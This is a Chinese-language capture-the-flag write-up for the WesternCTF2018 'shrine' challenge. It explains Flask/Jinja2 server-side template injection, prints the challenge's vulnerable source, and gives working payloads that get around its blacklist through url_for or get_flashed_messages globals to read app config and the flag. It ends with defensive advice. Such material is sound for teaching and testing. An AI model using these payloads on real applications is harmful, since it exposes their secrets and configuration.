[WesternCTF2018]shrine


0x00 知識點

SSTI模板注入:

模板注入涉及的是服務端Web應用使用模板引擎渲染用戶請求的過程

服務端把用戶輸入的內容渲染成模板就可能造成SSTI(Server-Side Template Injection)

0x01模板引擎

模板引擎(這里特指用於Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標准的HTML文檔。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig



模板引擎可以讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這大大提升了開發效率,良好的設計也使得代碼重用變得更加容易。與此同時,它也擴展了黑客的攻擊面。除了常規的 XSS 外,注入到模板中的代碼還有可能引發 RCE(遠程代碼執行)。通常來說,這類問題會在博客,CMS,wiki 中產生。雖然模板引擎會提供沙箱機制,攻擊者依然有許多手段繞過它。

0x02 模板渲染

首先 模板渲染分解為前端渲染和后端渲染,還有瀏覽器渲染。

模板只是一種提供給程序來解析的一種語法,換句話說,模板是用於從數據(變量)到實際的視覺表現(HTML代碼)這項工作的一種實現手段,而這種手段不論在前端還是后端都有應用。
通俗點理解:拿到數據,塞到模板里,然后讓渲染引擎將賽進去的東西生成 html 的文本,返回給瀏覽器,這樣做的好處展示數據快,大大提升效率。

0x03 服務端模版注入

服務器執行了我們傳過去的數據。每當服務器用模板引擎解析用戶的輸入時,這類問題都有可能發生。除了常規的輸入外,攻擊者還可以通過 LFI(文件包含)觸發它。模板注入和 SQL 注入的產生原因有幾分相似——都是將未過濾的數據傳給引擎解析。

這里模板注入前加“服務端”,這是為了和 jQuery,KnockoutJS 產生的客戶端模板注入區別開來。通常的來講,前者甚至可以讓攻擊者執行任意代碼,而后者只能 XSS。

0x04 模板引擎注入

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一種注入攻擊,可以產生一些特別有趣的影響。對於AngularJS的情況,這可能意味着XSS,並且在服務器端注入的情況下可能意味着遠程代碼執行。重點來了,不同引擎有不同的測試以及注入方式!

flask/jinja2模板注入

PHP/模版引擎Twig注入

0x05 tplmap

利用tplmap這個工具進行檢測是否有模板注入漏洞,用法有點像sqlmap,都是基於python的。

0x06 解題

模板渲染接受的參數需要用兩個大括號括起來{{}}模板注入也在大括號里構造
題目源碼:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

首先在shrine路徑下測試ssti能正常執行

/shrine/{{ 2+2 }}

接着分析源碼

app.config['FLAG'] = os.environ.pop('FLAG')

注冊了一個名為FLAG的config,猜測這就是flag,如果沒有過濾可以直接{{config}}即可查看所有app.config內容,但是這題設了黑名單[‘config’,‘self’]並且過濾了括號

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面這行代碼把黑名單的東西遍歷並設為空,例如:

/shrine/{{config}}

不過python還有一些內置函數,比如url_for和get_flashed_messages

/shrine/{{url_for.__globals__}}

看到current_app意思應該是當前app,那我們就當前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}

get_flashed_messages

返回之前在Flask中通過 flash() 傳入的閃現信息列表。把字符串對象表示的消息加入到一個消息隊列中,然后通過調用 get_flashed_messages() 方法取出(閃現信息只能取出一次,取出后閃現信息會被清空)。

同理

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

0x07 防御SSTI

防御對於不同的模板引擎,防御方案也不相同。但做好對用戶輸入的清理/過濾,將能大大的降低此類問題帶來的安全威脅。
另一個選擇是創建一個安全加固/沙箱環境,禁用或刪除潛在的危險指令。

為了防止此類漏洞,你應該像使用eval()函數一樣處理字符串加載功能。盡可能加載靜態模板文件。

注意:我們已經確定此功能類似於require()函數調用。因此,你也應該防止本地文件包含(LFI)漏洞。不要允許用戶控制此類文件或其內容的路徑。

另外,無論在何時,如果需要將動態數據傳遞給模板,不要直接在模板文件中執行,你可以使用模板引擎的內置功能來擴展表達式,實現同樣的效果。
參考鏈接

https://www.jianshu.com/p/aef2ae0498df

https://blog.csdn.net/chasingin/article/details/104063617


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM